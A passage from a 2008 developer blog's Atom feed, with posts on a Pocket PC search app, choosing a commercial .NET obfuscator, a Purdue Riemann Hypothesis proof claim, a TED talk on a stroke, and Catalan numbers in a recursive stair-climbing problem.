href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SHz0XKyq-WI/AAAAAAAAAJQ/NS9CSy22YiI/s1600-h/wi-not2.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 99px; height: 99px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SHz0XKyq-WI/AAAAAAAAAJQ/NS9CSy22YiI/s320/wi-not2.jpg" alt="" id="BLOGGER_PHOTO_ID_5223318346713987426" border="0" /&gt;&lt;/a&gt; module (using the platform's middeware) will locate &lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/wilol"&gt;free and available flash games to play in yo&lt;/a&gt;&lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/wilol"&gt;ur mobile&lt;/a&gt;. The difference with other similar functions is that we &lt;span style="font-weight: bold;"&gt;do not store a single byte &lt;/span&gt;of game content. So how is it done? The platform defines a search API, which can have many "&lt;span style="font-weight: bold;"&gt;flavors&lt;/span&gt;" (&lt;span style="font-style: italic;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Inheritance_%28computer_science%29"&gt;inheritance&lt;/a&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;in programming words), and these can be a &lt;span style="font-weight: bold;"&gt;web search, gam&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;e search, &lt;/span&gt;or a &lt;span style="font-weight: bold;"&gt;music search. &lt;/span&gt;Each of these kinds share some common properties (&lt;span style="font-style: italic;"&gt;bas&lt;/span&gt;&lt;span style="font-style: italic;"&gt;e class)&lt;/span&gt; but in the meantime have many differences. The game search module of the Wi-Not locates flash files and reports back available links. With the &lt;span style="font-weight: bold;"&gt;embedded &lt;/span&gt;flash player it is possible to play it on the fly!&lt;br /&gt;&lt;br /&gt;There is also a great option for getting &lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/wibot"&gt;music on your pocket pc&lt;/a&gt;. We have put there a special media finder, which can accept keywords for your search and locate audio files. This is entirely new for a mobile application. Again, we do not store a single byte of audio content. With a hit rate of around 90% you will able to get the mp3 file you were looking for. Again the platform here plays the most &lt;span style="font-weight: bold;"&gt;crucial&lt;/span&gt; role. It is able to maintain places that are more probable to provide with an answer and also to dynamically find more.&lt;br /&gt;&lt;br /&gt;I could really talk for hours about this stuff but I am sure it will bore most of the people. There are certainly many more posts coming about this effort. We are really excited about the outcome and ready to do more. There are also many hard lessons from releasing into public your creations and perhaps I should talk about it later.&lt;br /&gt;&lt;br /&gt;Till then you are more than welcome to &lt;a href="http://www.wi-not.com/index.php/downloadsmenuitem"&gt;&lt;span style="font-weight: bold;"&gt;download Wi-Not Mobile &lt;/span&gt;from here&lt;/a&gt; and I would be grateful if you could provide with your thoughts about it. Have fun!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4509575474993167539?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4509575474993167539'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4509575474993167539'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/07/wi-not-mobile-different-pocket-pc.html' title='Wi-Not Mobile: A Different Pocket PC Freeware Application'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/SHz0kafs1ZI/AAAAAAAAAJY/dceMsD5DOL0/s72-c/wi-not1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7208178676828381708</id><published>2008-07-12T15:08:00.000-07:00</published><updated>2008-12-09T07:11:59.727-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='software'/><title type='text'>How I Selected A Good .NET Obfuscator</title><content type='html'>&lt;span style="font-style: italic;"&gt;This post describes how I searched a good .NET obfuscator, and the products I tested until my final decision. I hope it will be of help to anyone searching for a good obfuscator.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The last years I have been programming on .NET C#. This was not a big shift since my background was Java-centric. Days were passing by, playing, and creating simple utility programs for me and my friends, or some parts for an open source project.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SHlMj6MybjI/AAAAAAAAAIQ/piAbWKCIWLw/s1600-h/software-development-main.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 226px; height: 207px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SHlMj6MybjI/AAAAAAAAAIQ/piAbWKCIWLw/s320/software-development-main.jpg" alt="" id="BLOGGER_PHOTO_ID_5222289422714826290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;These days of innocence, suddenly came to an end, when I had to engage in a real-world, professional .NET project. (This is actually &lt;span style="font-weight: bold;"&gt;Wi-Not Mobile&lt;/span&gt;, the link promoted in the top right of this blog). In this setting, software is a &lt;span style="font-weight: bold;"&gt;real investment.&lt;/span&gt; An investment of time, energy and of course ...money. Since every investment has to be protected from 'unprivileged entities' so does the software. &lt;span style="font-weight: bold;"&gt;Reverse engineering&lt;/span&gt; is your biggest enemy.&lt;br /&gt;&lt;br /&gt;Reverse engineering is when we look to a system, and try to understand from its outputs, the mechanisms within. As always this can be used for good but also for bad purposes. The day we proved the &lt;a href="http://developeronline.blogspot.com/2008/03/gmail-password-thefts-story.html"&gt;&lt;span style="font-weight: bold;"&gt;big Gmail scam with G-Archiver&lt;/span&gt;&lt;/a&gt;, we reverse-engineered the malicious application, and this was certainly for a good purpose.&lt;br /&gt;&lt;br /&gt;.NET and Java programs are very exposed to the experienced eye. To decode an unprotected Java class file, you will only need the Java Language Specification by your side, and a decent hex editor. The picture can become crystal clear and decompilers are able to create a perfect reconstruction of the original source file. The reason is that both the CLR and JRE are virtual machines. As such they were designed to be platform-independent, which means that they are both standarized. This standarization is used to attack them, and recover entire source files.&lt;br /&gt;&lt;br /&gt;The most common protection is called &lt;span style="font-weight: bold;"&gt;obfuscation, &lt;/span&gt;and transforms an set of commands to another set, which does the same thing but which is hard to reverse engineer it. There are plenty of good in-depth articles on the web that lay out the problem really well. You can try reading &lt;a href="http://msdn.microsoft.com/en-us/magazine/cc164058.aspx"&gt;this&lt;/a&gt; for example, which comes form the Microsoft and the MSDN magazine.&lt;br /&gt;&lt;br /&gt;When I started searching for an obfuscator, I knew I had a big project in my hands. Wi-Not Mobile is over 60,000 lines of source code, which is not a small number! I first &lt;span style="font-weight: bold;"&gt;Dotfuscator &lt;/span&gt;which comes integrated with &lt;span style="font-weight: bold;"&gt;Visual Studio 2005.&lt;/span&gt; This is a fairly simple program that will do the job for very small programs, but totally inadequate for big projects. I abandonned it quite often.&lt;br /&gt;&lt;br /&gt;I then came accross &lt;a href="http://howtoselectguides.com/dotnet/obfuscators/1st#section-overview"&gt;this article&lt;/a&gt; which had some guidelines on what to pay attention to. The first important lesson I learned was &lt;span style="font-weight: bold;"&gt;"Try Before You Buy".&lt;/span&gt; Always search for a product that ships with a trial version. Give it a try and then make up your mind. The second is to &lt;span style="font-weight: bold;"&gt;thoroughly check &lt;/span&gt;how you program behaves &lt;span style="font-weight: bold;"&gt;when obfuscated.&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_PNe-bgIDyRw/SHlOGNO6RAI/AAAAAAAAAIY/7bJmBTzkNRY/s1600-h/reactor-producticon.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 79px; height: 78px;" src="http://2.bp.blogspot.com/_PNe-bgIDyRw/SHlOGNO6RAI/AAAAAAAAAIY/7bJmBTzkNRY/s320/reactor-producticon.gif" alt="" id="BLOGGER_PHOTO_ID_5222291111451182082" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.csharp411.com/net-obfuscators/"&gt;This blog post&lt;/a&gt; has a comprehensive list of many commercial obfuscators. First I gave a try to &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.eziriz.com/"&gt;.Net Reactor&lt;/a&gt;.&lt;/span&gt; This is cheap compared to others and had a trial to check out. I tried a few times but I was not able to build the entire project. I kept getting dependency and I finally gave up. While its interface is clean, it has options that were troubling. For me, the process was made in my mind: When I select an executable all dependencies should be in front of my eyes immediately. This was my &lt;span style="font-weight: bold;"&gt;fundamental requirement&lt;/span&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SHlOeI5MIiI/AAAAAAAAAIg/faFJ4er3SX4/s1600-h/9rays-logo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SHlOeI5MIiI/AAAAAAAAAIg/faFJ4er3SX4/s320/9rays-logo.png" alt="" id="BLOGGER_PHOTO_ID_5222291522603196962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Then I moved to &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.9rays.net/"&gt;Spices&lt;/a&gt; &lt;/span&gt;from 9Rays. The whole package includes obfuscation, decompilers and other tools, and I thought I would give it a try. However, I didn't still get my fundamentlal requirement. I finally took it running but it certainly didn't worth the price. Spices is one the most expensive products (about 1,200$!) of this area, and I couldn't put up with that.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SHlOpQ63U2I/AAAAAAAAAIo/m5gSG8RuaM4/s1600-h/smartassembly-logo.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SHlOpQ63U2I/AAAAAAAAAIo/m5gSG8RuaM4/s320/smartassembly-logo.png" alt="" id="BLOGGER_PHOTO_ID_5222291713736266594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Finally, I followed a thread in Channel 9 (which I seem not to find any more) which was suggesting &lt;a href="http://www.smartassembly.com/"&gt;&lt;span style="font-weight: bold;"&gt;{smartassembly}&lt;/span&gt;&lt;/a&gt;. I soon gave it a try, and amen, I felt happy to get an easy and clean start. My solution with my assemblies was laid before me in all their glory. I was able to follow a straightforward 8-9 step process, in which I could choose assembly merging options, string encoding and other. My project was built fast and was working from the first run.&lt;br /&gt;&lt;br /&gt;Our team then focused on {smartassembly}. We went through &lt;span style="font-weight: bold;"&gt;all of our application scenarios &lt;/span&gt;and double/triple-checked if it played well. &lt;span style="font-weight: bold;"&gt;This part is really important.&lt;/span&gt; Bear in mind that obfuscation might &lt;span style="font-weight: bold;"&gt;yield problems &lt;/span&gt;in program execution that you might &lt;span style="font-weight: bold;"&gt;not &lt;/span&gt;grasp at the first run. Wi-Not Mobile has a hell of scenarios and we tested them all. Finally a subtle problem arose, a teeny-tiny detail which was making our communication module silent. We quickly found out that this was an encoding problem which we together solved with &lt;span style="font-weight: bold;"&gt;{smartassembly} support.&lt;/span&gt; This is another crucial requirement. The software product must have people behind to support you, and {smartassembly} deserves a credit for this.&lt;br /&gt;&lt;br /&gt;All in all we were quite happy with what we had. Our obfuscator has a great UI for obfuscation, it has great functionality, a medium cost and very good support. All in all, it turned out to have a perfect &lt;span style="font-weight: bold;"&gt;cost per value&lt;/span&gt;. After a 10-day test, and ensuring that obfuscation was perfectly functional, we purchased the program and lived happily thereafter.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-7208178676828381708?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7208178676828381708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/7208178676828381708'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/07/how-i-selected-good-net-obfuscator.html' title='How I Selected A Good .NET Obfuscator'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SHlMj6MybjI/AAAAAAAAAIQ/piAbWKCIWLw/s72-c/software-development-main.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-199191221631254066</id><published>2008-07-02T12:16:00.000-07:00</published><updated>2008-12-09T07:11:59.961-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='mathematics'/><title type='text'>Another Riemann Hypothesis Solution From Purdue?</title><content type='html'>Well, it seems that the mathematics department of the Purdue University is really obsessed with the &lt;span style="font-weight: bold;"&gt;&lt;a href="http://mathworld.wolfram.com/RiemannHypothesis.html"&gt;Riemann Hypothesis&lt;/a&gt;, &lt;/span&gt;&lt;span&gt;as Xian-Jin Li published a proof of the legendary mathematical problem. However this is not the first time that Purdue disturbs the mathematical society with a Riemann Hypothesis solution. The most recent attempt was in June 2004 but was not convincing enough.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The Riemann function &lt;span style="font-weight: bold;"&gt;ζ(s) &lt;/span&gt;is a &lt;span style="font-weight: bold;"&gt;complex &lt;/span&gt;function and is defined as the sum &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SGvZ3o4xAgI/AAAAAAAAAII/E80gwnNrXNY/s1600-h/Riemann.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 202px; height: 284px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SGvZ3o4xAgI/AAAAAAAAAII/E80gwnNrXNY/s320/Riemann.jpg" alt="" id="BLOGGER_PHOTO_ID_5218504143130395138" border="0" /&gt;&lt;/a&gt;of terms 1/(n^s) for all &lt;span style="font-weight: bold;"&gt;n &lt;/span&gt;to infinity. As a mathematical construct it seems to &lt;span style="font-weight: bold;"&gt;encode &lt;/span&gt;a great deal of information about number theory. One hit-example is the proof that &lt;span style="font-weight: bold;"&gt;there are no zeros&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; of the &lt;/span&gt;ζ(s) function for which it holds: &lt;span style="font-weight: bold;"&gt;ζ(s)=0 =&gt; Re[s]=1. &lt;/span&gt;Here Re[.] is the real part of a complex number, e.g. if s=1+2.i then Re[s]=1.  The above theorem is &lt;span style="font-weight: bold;"&gt;equivalent &lt;/span&gt;to the &lt;span style="font-weight: bold;"&gt;&lt;a href="http://mathworld.wolfram.com/PrimeNumberTheorem.html"&gt;prime number distribution theorem&lt;/a&gt; &lt;/span&gt;which states that from numbers &lt;span style="font-weight: bold;"&gt;1 to N, &lt;/span&gt;there are &lt;span style="font-weight: bold;"&gt;approximately &lt;span style="font-weight: bold;"&gt;N/logN &lt;/span&gt;&lt;/span&gt;primes, and ad infinitum the ratio of the 'density' of primes to N/logN tends to 1.&lt;br /&gt;&lt;br /&gt;Now the Riemann Hypothesis states that &lt;span style="font-weight: bold;"&gt;if ζ(s)=0 =&gt; Re[s]= &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;1/2.&lt;/span&gt; It has been haunting mathematics for centuries now and its solution will have an award of &lt;span style="font-weight: bold;"&gt;1.000.000$ &lt;/span&gt;from the&lt;a href="http://www.claymath.org/"&gt; Clay Mathematics Institute&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Now, many 'proofs' have been devised over the years which seems reasonable since many people have been obsessed with the problem. But it seems no other institution can match &lt;span style="font-weight: bold;"&gt;Purdue &lt;/span&gt;in its pursuit of the solution. The 'crusade' started with &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.math.purdue.edu/%7Ebranges/site"&gt;Louis De Brange&lt;/a&gt;, &lt;/span&gt;Professor of Mathematics at Purdue University. De Brange announced a solution in June 2004, which however fell in the dark by the mathematics community. The story continues with &lt;span style="font-weight: bold;"&gt;Xian-Jin Li &lt;/span&gt;who published &lt;span style="font-weight: bold;"&gt;yesterday&lt;/span&gt; a &lt;span style="font-weight: bold;"&gt;new proof &lt;/span&gt;of the hypothesis. You can find&lt;a href="http://arxiv.org/PS_cache/arxiv/pdf/0807/0807.0090v2.pdf"&gt; the document in ArXiv here&lt;/a&gt;. It is interesting to note that the &lt;a href="http://genealogy.impa.br/id.php?id=14710"&gt;Mathematics Genealogy Project&lt;/a&gt; reveals that Jin-Li is a student of De Brange in Purdue.&lt;br /&gt;&lt;br /&gt;The proof is at the disposal of mathematicians who will try and test the correctness. It is an interesting case to have an eye on and who knows maybe Purdue took it right that time!&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-199191221631254066?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/199191221631254066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/199191221631254066'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/07/another-riemann-hypothesis-solution.html' title='Another Riemann Hypothesis Solution From Purdue?'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_PNe-bgIDyRw/SGvZ3o4xAgI/AAAAAAAAAII/E80gwnNrXNY/s72-c/Riemann.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-992751866855690209</id><published>2008-06-20T17:22:00.000-07:00</published><updated>2008-06-20T18:36:21.083-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Cut My Right Brain</title><content type='html'>&lt;a href="http://en.wikipedia.org/wiki/Jill_Bolte_Taylor"&gt;Dr. Jill Taylor&lt;/a&gt; was working in Harvard, department of Psychiatry. Her main research interest was the study of mental illnesses. A decade ago she experienced &lt;span style="font-weight: bold;"&gt;stroke, &lt;/span&gt;which lasted almost 4 hours, which she was able to 'study' in real time.&lt;br /&gt;&lt;br /&gt;In an inspiring -yet controversial- video talk, Dr Taylor describes her stroke in stunning theatrical detail, and the way this changed her life. She also talks about some basic stuff over brain function. Well, for developers, the brain is basically a &lt;span style="font-weight: bold;"&gt;dual core &lt;/span&gt;processor, the right and the left hemispheres, which have strictly distinct functions. The right processor is heavily &lt;span style="font-weight: bold;"&gt;multi-threaded &lt;/span&gt;and its main function is to &lt;span style="font-weight: bold;"&gt;sense &lt;/span&gt;the world and &lt;span style="font-weight: bold;"&gt;collect &lt;/span&gt;data from any &lt;span style="font-weight: bold;"&gt;possible source.&lt;/span&gt; On the other hand, the left processor works sequentially and constantly &lt;span style="font-weight: bold;"&gt;polls &lt;/span&gt;the right section for info, and then organizes the huge amount of raw data that the right processor is collecting. The sense of time, individuality and logic (and also stress) seems to stem from that portion too.&lt;br /&gt;&lt;br /&gt;The stroke hit the left hemisphere, leading to loss of time sense, a feeling of &lt;span style="font-weight: bold;"&gt;euphoria&lt;/span&gt;, and finally a state which Dr Taylor says resembles &lt;span style="font-weight: bold;"&gt;nirvana&lt;/span&gt;. Below is the video, which certainly is worth 20 minutes of your time!&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;[UPDATE &lt;/span&gt;&lt;/span&gt;The video seems not working..Until it gets fixed by TED.com just visit &lt;a href="http://www.ted.com/talks/view/id/229"&gt;http://www.ted.com/talks/view/id/229&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;&lt;!--cut and paste--&gt;&lt;br /&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="VE_Player" align="middle" width="432" height="285"&gt;&lt;param name="movie" value="http://static.videoegg.com/ted2/flash/loader.swf"&gt;&lt;param name="FlashVars" value="bgColor=FFFFFF&amp;amp;file=http://static.videoegg.com/ted/movies/JILLTAYLOR-2008_high.flv&amp;amp;autoPlay=false&amp;amp;fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&amp;amp;forcePlay=false&amp;amp;logo=&amp;amp;allowFullscreen=true"&gt;&lt;param name="quality" value="high"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="scale" value="noscale"&gt;&lt;param name="wmode" value="window"&gt;&lt;embed src="http://static.videoegg.com/ted2/flash/loader.swf" flashvars="bgColor=FFFFFF&amp;amp;file=http://static.videoegg.com/ted/movies/JILLTAYLOR-2008_high.flv&amp;amp;autoPlay=false&amp;amp;fullscreenURL=http://static.videoegg.com/ted/flash/fullscreen.html&amp;amp;forcePlay=false&amp;amp;logo=&amp;amp;allowFullscreen=true" quality="high" allowscriptaccess="always" bgcolor="#FFFFFF" scale="noscale" wmode="window" name="VE_Player" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" align="middle" width="432" height="285"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-992751866855690209?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/992751866855690209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/992751866855690209'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/06/cut-my-right-brain.html' title='Cut My Right Brain'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-7862676696654908036</id><published>2008-06-02T12:41:00.000-07:00</published><updated>2008-12-09T07:12:00.433-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Catalan Numbers, Dyck Words and Robots Climbing Stairs</title><content type='html'>Repeating is the &lt;span style="font-weight: bold;"&gt;very nature&lt;/span&gt; of recursion, so this article continues over from the &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://developeronline.blogspot.com/2008/05/stack-wars.html"&gt;p&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SERl8BKsvAI/AAAAAAAAAIA/wyq59rfYauM/s320/asimo_robot.jpg" alt="" id="BLOGGER_PHOTO_ID_5207399150927002626" border="0" /&gt;&lt;/a&gt;&lt;a href="http://developeronline.blogspot.com/2008/05/stack-wars.html"&gt;revious post over recursion and stack usage&lt;/a&gt;. If you don't remember the initial problem here it is again:&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;Imagine a robot(say Asimo) that climbs up stairs and has one very simple function &lt;span style="font-weight: bold;"&gt;step() &lt;/span&gt;w&lt;/span&gt;&lt;span style="font-style: italic;"&gt;hich succeeds with a probability &lt;span style="font-weight: bold;"&gt;p &lt;/span&gt;and climbs &lt;/span&gt;&lt;span style="font-style: italic;"&gt;up one stair, and fails with a probability &lt;span style="font-weight: bold;"&gt;q &lt;/span&gt;and climbs down one stair, with &lt;span style="font-weight: bold;"&gt;p&gt;q &lt;/span&gt;and &lt;span style="font-weight: bold;"&gt;p+q=1&lt;/span&gt;. Write a function &lt;span style="font-weight: bold;"&gt;step_up() &lt;/span&gt;guaranteeing that the robot will climb up &lt;span style="font-weight: bold;"&gt;exactly one &lt;/span&gt;stair."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;It is easy to create a quick and dirty recursive solution:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;void step_up() {&lt;br /&gt;&lt;br /&gt;if(!step())&lt;br /&gt;{&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;    step_up();&lt;br /&gt; step_up();&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt; While this solution is &lt;span style="font-weight: bold;"&gt;not the best&lt;/span&gt; (a better  one is provided also in the previous post with the&lt;span style="font-style: italic;"&gt; while &lt;/span&gt;version), it is most interesting to &lt;span style="font-weight: bold;"&gt;calculate &lt;/span&gt;the &lt;span style="font-weight: bold;"&gt;number of times &lt;/span&gt;that step_up() will be called, in other words to calculate &lt;span style="font-weight: bold;"&gt;how large the stack size will be.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There were two solutions available: To calculate it analytically or use a recursive technique to do it. With the recursive technique we can set: If &lt;span style="font-weight: bold;"&gt;X &lt;/span&gt;is the number of &lt;span style="font-weight: bold;"&gt;average calls &lt;/span&gt;to step_up() then &lt;span style="font-weight: bold;"&gt;X = p.1+q.(1+2.X) &lt;/span&gt;which yields &lt;span style="font-weight: bold;"&gt;X = 1 / (p-q) &lt;/span&gt;. Both easy and really smart!&lt;br /&gt;&lt;br /&gt;However, going analytically is much more difficult but it is &lt;span style="font-weight: bold;"&gt;most amusing&lt;/span&gt;! As I said in the previous post, going the analytical way would mean trouble. Trying it myself I left it &lt;span style="font-weight: bold;"&gt;unfinished&lt;/span&gt; when facing a difficult combinatorics sub-problem. By a really weird coincidence, today I stumbled upon a number of interesting combinatorics tools which could help solve it analytically once and for all!. Here is how it goes.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SERlbhKsu_I/AAAAAAAAAH4/fs4FWU60eHU/s1600-h/180px-RecursiveTree.JPG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SERlbhKsu_I/AAAAAAAAAH4/fs4FWU60eHU/s200/180px-RecursiveTree.JPG" alt="" id="BLOGGER_PHOTO_ID_5207398592581254130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;First, it is clear that is impossible that the step_up() function will be executed &lt;span style="font-weight: bold;"&gt;an even number of times, &lt;/span&gt;for each failed execution two more executions occur. We should wonder: What is the probability that the function will enter 1 time? Clearly it is &lt;span style="font-weight: bold;"&gt;p.&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;What is the probability of entering 3 times? This would mean failing the first time and succeeding the other 2 times, a total probability of &lt;span style="font-weight: bold;"&gt;q.p.p&lt;/span&gt; = &lt;span style="font-weight: bold;"&gt;q.p^2&lt;/span&gt;. If we want to calculate how many times the function will be executed 5 times we will have to count all possible 'combinations'. We will follow the encoding X1-X2-X3-...-Xn&lt;span style="font-style: italic;"&gt; &lt;/span&gt;, if we would like to denote a case where the function  &lt;span style="font-weight: bold;"&gt;is executed &lt;span style="font-style: italic;"&gt;n &lt;/span&gt;times&lt;/span&gt; where Xi  is either F or S, meaning failure or success at &lt;span style="font-weight: bold;"&gt;step&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;i&lt;/span&gt; respectively.&lt;br /&gt;&lt;br /&gt;With this notation we have:&lt;br /&gt;step_up() enters 1 time: Cases: &lt;span style="font-weight: bold;"&gt;S &lt;/span&gt;Combinations:1&lt;br /&gt;step_up() enters 3 times: Cases: &lt;span style="font-weight: bold;"&gt;F-S-S &lt;/span&gt;Combinations:1&lt;br /&gt;step_up() enters 5 times: Cases: &lt;span style="font-weight: bold;"&gt;F-F-S-S-S,  F-S-F-S-S &lt;/span&gt;Combinations: 2&lt;br /&gt;step_up() enters 7 times:&lt;br /&gt;Cases: &lt;span style="font-weight: bold;"&gt;F-F-F-S-S-S-S, F-F-S-F-S-S-S, F-F-S-S-F-S-S, F-S-F-F-S-S-S, F-S-F-S-F-S-S&lt;/span&gt;&lt;br /&gt;Combinations: 5&lt;br /&gt;&lt;br /&gt;Stop here. There is one important property of every X-X-X-X.. string &lt;span style="font-weight: bold;"&gt;with n elements&lt;/span&gt;, which is that &lt;span style="font-weight: bold;"&gt;for any initial substring the number of S's is not greater than of the F's. &lt;/span&gt;Why? Because if this was the case , the robot would climb up one stair &lt;span style="font-weight: bold;"&gt;sooner 